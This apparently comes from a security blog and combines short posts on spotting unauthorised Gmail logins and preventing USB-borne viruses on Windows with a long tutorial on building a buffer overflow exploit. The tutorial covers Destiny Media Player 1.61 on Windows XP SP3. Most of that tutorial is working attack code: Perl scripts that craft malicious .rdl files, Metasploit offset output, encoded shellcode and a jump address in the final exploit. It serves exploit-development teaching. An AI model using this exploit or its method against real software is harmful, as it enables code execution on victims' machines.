For more details refer this PDF Reference

Detecting Gmail Account Hack

Hello Friends,
Today I will share about the technique which you can use to catch the hacker.
If you are suspicious about some one accessing your Gmail account then you can follow these steps to verify it:


Check your Logs
    Now, you can see lists of  last 10 IP addresses from where you or hacker had logged into your Gmail account(Previously only last 5 IP addresses were shown). IP address: An Internet Protocol address(IP address)  is a number assigned to devices(PC) in computer networks like telephone number is assigned to every telephone. 1st Column is Access type, if your are accessing your Gmail account from browser then you should see Browser in this column but if your Recent activity table is showing some POP access(Outlook, Thunderbird etc.), it may be a sign that your account has been compromised. 2nd Column is Location, this column shows your IP addresses from where you have accessed your account.  You can use this IP Locator website which will assist you in locating the geographical location of an IP Address. If one location is Pune and the other shows Chennai then someone else has accessed your account but if both shows same location then you need to know more information about this IP address.
  1. Open up your Gmail account and navigate to the bottom of the page.
  2. Gmail Hack
  3. Click on details.
  4. Open this whois website and enter the IP address. You will see lots of information like ISP name, address, contact number, email address etc which will help you to decide whether your account has been compromised or not.
Concurrent Sessions
If your mail is currently being accessed from another location, you will see  list of other session(s) in the Concurrent session information table. You can sign out all sessions other than your current session by clicking Sign out all other sessions and change your password if you think your account has been compromised.
Hope you enjoyed this post , feel free to comment

Defenses Against Viruses

Today, I will tell you about some simple steps which you can follow to prevent infection of virus on your computer.
1. Never open a removable drive by double clicking on the drive letter in windows Explorer.


Suppose you have inserted a USB drive(J:) in your PC, then follow this simple steps to open your drive safely

  • Go to Start–> Run.
  • Type the drive leter e.g J: and then press enter.
Reason:
Many viruses which propagate through removable drive e.g  USB drive, DVD etc. uses a file named autorun.inf to infect your PC. When you double click  the drive then the autorun.inf execute the virus exe to infect your computer.
2.  Always uncheck the option “Hide Extensions for known file types” in folder Options. Follow this simple step to uncheck this option
  • Open control panel, go to Folder Options
  • Click view tab then unchecked the Option “Hide Extensions for known file types”
Folder Options
  • Click OK.
Reason:
I will show you an example of virus to clear my points. First of all check the option “Hide Extensions for known file types”

Now see this folder “msbackup” which is actually a virus.

As you have check option “Hide Extensions for known file types” , you will click on this folder and get infected from this virus. But, if you have unchecked the option then “Hide Extensions for known file types” then you will be able to see extenston exe as shown in the screenshot.

Now you can see a executable file with icon of folder then you should not run this type of file as they are virus.
3. You should also check option “Show Hidden files, folders and drives” and uncheck “Hide protected operating system files” as shown in the screenshot.
Reason:
Most of the virus change their attributes to Hidden and OS System files so we are not ale to see them in Windows Explorer. Now you can delete this virus if you are not infected with this virus.
If you are unable to delete then you are infected with this virus.
4. At last, you should use antivirus software like Avira Antivir Personal which is free for personal use and always update the anti virus.
5. We can also create a folder with name autorun.inf in every drive.
Reason: Due to this virus can’t create a file autorun.inf file.
Note: This works fine on Windows XP.
Hope you enjoyed this post , feel free to comment……Happy hacking!!!!!

How to write buffer Overflow Exploit?

Today, I will show you how to develop your own exploit from scratch or modify exploit to run on different OS. For this purpose,  I have found a Destiny Media Player 1.61 (.rdl) Local Buffer Overflow Exploit from Exploit-db which works fine on Windows XP Pro SP2(Language pack: English) but it didn’t work on Windows XP Pro SP3(Language pack: English).


Stack Based Overflow Exploit Theory
What is Stack??
Stack is data structure which follows Last in First Out(LIFO). Stack contains local variable, function info and other details.
There are two operation possible on stack PUSH and POP.
Example:
Initial state of stack
_______________
|______2________| <—-Top
|______3________|
|______4________| <—- Bottom Suppose we Push 1 on to the stack , then the stack looks like as shown below:
_______________
|______1________| <—-Top
|______2________|
|______3________|
|______4________| <—-Bottom
Then we do a single POP operation, 1 is popped out from the stack.
_______________
|______2________| <—-Top
|______3________|
|______4________| <—-Bottom
Again when we do a single POP operation, 2 is popped out from the stack.
_______________
|______3________| <—-Top
|______4________| <—- Bottom


This is a typical layout of stack when functions call are made in the program.
|_____________________| Lower memory Address
| Local Variable                  |
|_____________________|
| Exception Handler             |
|_____________________|
| EBP                                  |
|_____________________|
|Function Return Address   |
|_____________________|
|Function Parameters         |
|_____________________|<—-Bottom (Higher memory Address)


Consider this C Code
1
2
3
4
5
6
7
8
9
void DemoFunction(int parameter1, int parameter2)
{
     int localvar = 3;
}
int main()
{
    DemoFunction(1,2);
    return 0;
}
Stack looks like as shown below for this C code:
|_______________|
|______3________|
|______EBP______|
|______EIP______|
|______1________|
|______2________| <—-Bottom

So when functions call are made then parameters of function, EIP EBP register and  local variable of function pushed onto to the stack. When function return then saved EIP is popped from the stack and put back into EIP and normal execution of program continues.
Note: Instruction Pointer(IP) register points to the memory address which the processor will next attempt to execute.

In the case of Buffer overflow, we overwrite the parameters, EIP and EBP. When function return EIP is popped from the stack and it contains the value which we have overwritten.  So by changing the value of EIP during overflow we change the normal execution of program and we can point EIP to our code address.


Tools Needed

1.WinDbg : Windows Debugger
Install Windbg  (Full install) ,open cmd and change the current directory to “C:\Program Files\Debugging Tools for Windows (x86)”  and type windbg -I .
Open windbg, go to File–> Symbol File Path and enter “SRV*C:\symbols*http://msdl.microsoft.com/download/symbols”(C:\symbols is path of directory)
2.Perl : Strawbery perl for windows platform
3.Metasploit : Metasploit Framework
4. Download all the perl code used in this tutorial from this link.
So , let start to get our hand dirty.. :)


Verify the exploit

1. Download Destiny Media Player 1.61 from this link.
2. Install this program on Windows XP Pro SP3.(exploit-db exploit works fine on XP SP2 En but it didn’t work on XP SP3).
3. Open notepad and write down the perl code as shown below:
?Download Exploit1.pl
1
2
3
4
5
6
my $file="radio1.rdl";
my $junkA="A"x4500;
open($FILE, ">$file");
print $FILE $junkA;
close($FILE);
print "rdl File Created successfully\n";
4. Save the file with name Exploit1.pl.
5. Open command prompt and enter perl Exploit1.pl.

6. This perl script creates the radio1.rdl with 4500 A character, when we double the click it opens in Destiny Media Player and application crashes.
So, now we will start our exploit development.


Step 1

Click radio1.dll , it will open Windows debugger( or if you see debug button click on it).

We can see that EIP is overwriten with 41414141 (AAAAA) so due to overflow EIP(4 bytes)  is overwritten and so we can control the execution of program by modifying the value in EIP. But we don’t know the size of our buffer to exactly overwrite EIP with our own address.
Tip: Press q in command line in WinDbg to quit.

Step 2

1. Open notepad and write down the perl code as shown below:
?Download Exploit2.pl
1
2
3
4
5
6
7
8
9
my $file="radio2.rdl";
my $junkA="A"x4000;
my $junkB = "B"x500;
open($FILE, ">$file");
# . concat the two variable
# file contains 4000 A's then 500 B's
print $FILE $junkA.$junkB;
close($FILE);
print "rdl File Created successfully\n";
2. Save the file with name Exploit2.pl.
3. Open command prompt and enter perl Exploit2.pl.
4. Double click the generated radio2.rdl file, it opens windows debugger.

But now EIP is overwritten with 42424242(BBBB) so now we know that the EIP has offset between 4000 and 4500 buffer size. When we dump esp using d esp command we are able to see remaining B’s.


Step 3

Now we will find the exact offset in our buffer to overwrite EIP with Metasploit.
1. Open cygwin shell. Go to All Programs–> Metasploit 3–> Cygwin Shell.
2. Change the directory to msf3/tools
3. Create a pattern for 500 characters using pattern_create.rb ruby script as shown below.
$ cd ../../msf3/tools
$ ./pattern_create.rb 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5
Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A
f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah
9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9
Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6
An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2A
q3Aq4Aq5Aq
4.  Open notepad and copy this perl code.
?Download Exploit2.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
my $file="radio3.rdl";
my $junkA="A"x4000;
# . is used for concatenation
my $junkB="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9".
"Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".
"Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9".
"Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9".
"Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9".
"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9".
"Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
"Aq0Aq1Aq2Aq3Aq4Aq5Aq";
open($FILE, ">$file");
print $FILE $junkA.$junkB;
close($FILE);
print "rdl File Created successfully\n";
5. Save this file as Exploit3.pl.
6. Open command prompt and enter perl Exploit3.pl.
7. Double click the generated radio3.rdl file, it opens windows debugger.
8. EIP is overwritten with 41346f41, now we will use Metasploit tool pattern_offset to calculate size of buffer to overwrite EIP.
9. Open cygwinshell and run the ruby script as shown below
Administrator@pc /msf3/tools
$ ./pattern_offset.rb 41346f41 500
432
10. Now if we will construct our buffer as 4000 + 432 A’s and “BBBB” then BBBB will overwrite EIP.
Buffer look like
[AAAAAAA ...... ][BBBB][CCCC....]
4432 A’s EIP 500 C’s
11. Open notepad, copy this perl code and save this file as Exploit4.pl. .
?Download Exploit4.pl
1
2
3
4
5
6
7
8
my $file="radio4.rdl";
my $junkA="A"x4432;
my $eip="BBBB";
my $junkC="C"x500;
open($FILE, ">$file");
print $FILE $junkA.$eip.$junkC;
close($FILE);
print "rdl File Created successfully\n";
12. Open command prompt and enter perl Exploit4.pl.
13. Double click the generated radio4.rdl file, it opens windows debugger.

EIP is overwritten with 4 B’s(42424242) so now we know the exact position in our buffer and esp is overwritten with C’s. We can put our shellcode instead of C’s and overwrite EIP to jump to the esp address.. But we don’t know exactly where first C start. So let’s find it out by changing the perl script.

Step 4

1. Open notepad and copy this perl code and save it as Exploit5.pl
?Download Exploit5.pl
1
2
3
4
5
6
7
8
my $file="radio5.rdl";
my $junkA="A"x4432;
my $eip="BBBB";
my $junkC="A1234567890123456789B1234567890123456789C1234567890123456789D1234567890123456789E123456789F123456789G";
open($FILE, ">$file");
print $FILE $junkA.$eip.$junkC;
close($FILE);
print "rdl File Created successfully\n";
2 . Execute this perl script which creates radio5.rdl and double click the radio5.rdl and it open WinDbg.

In this case it starts exactly at start of esp at  00313c4c but if it doesn’t start then we need to put some NOP( no operation ) before shellcode.

Step 5

1. We can easily generate shellcode with Metasploit. For more details to generate shellcode watch this Video tutorial.
# windows/exec – 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = “\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1″ .
“\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30″ .
“\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa” .
“\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96″ .
“\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b” .
“\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a” .
“\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83″ .
“\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98″ .
“\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61″ .
“\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05″ .
“\x7f\xe8\x7b\xca”;
2. So perl code with shellcode
?Download Exploit6.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
my $file="radio6.rdl";
my $junkA="A"x4432;
my $eip= "BBBB";
 
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE, ">$file");
print $FILE $junkA.$eip.$shellcode;
close($FILE);
print "rdl File Created successfully\n";
3. Shellocde start at ESP so we can overwrite eip with the address of jmp esp or call esp etc. instruction and jump to our shellocode.
4. Generally we should find address to overwrite EIP in application dll as it make the exploit stable but in this case there is no application dll loaded. so, we will find address in OS dll like ntdll.dll,kernel32.dl,user32.dll etc.
5. For diiferent type of tools available to find address to overwrite EIP you can read this post How to find addresses to overwrite EIP??
6. I will use findjmp2 to find address in ntdll.dll
C:\Documents and Settings\Administrator\Desktop>findjmp.exe ntdll.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning ntdll.dll for code useable with the esp register
0x7C914663 call esp
0x7C919DB0 push esp – ret
0x7C95311B call esp
0x7C9676E2 pop esp – pop – retbis
Finished Scanning ntdll.dll for code useable with the esp register
Found 4 usable addresses
7. Now we can finalize our exploit with address 0x7C914663
?Download Exploit6.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Exploit for Destiny Media Player Version 1.61.0
# Tested On windows XP Sp3(En)
# Wriiten by Ayush (www.secsavvy.com)
 
my $file="radio6.rdl";
my $junkA="A"x4432;
my $eip= pack('V',0x7C914663);
 
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE, ">$file");
print $FILE $junkA.$eip.$shellcode;
close($FILE);
print "rdl File Created successfully\n";
8. Double click radio6.rdl it launches calculator.
Congratz!!! You have successfully written exploit for Destiny media Player.
At last , I will thank Peter Van Eeckhoutte for excellent tutorial series on Exploit Writing.  If you are more interested on writing then you must visit Peter Van Blog for Exploit Writing tutorial.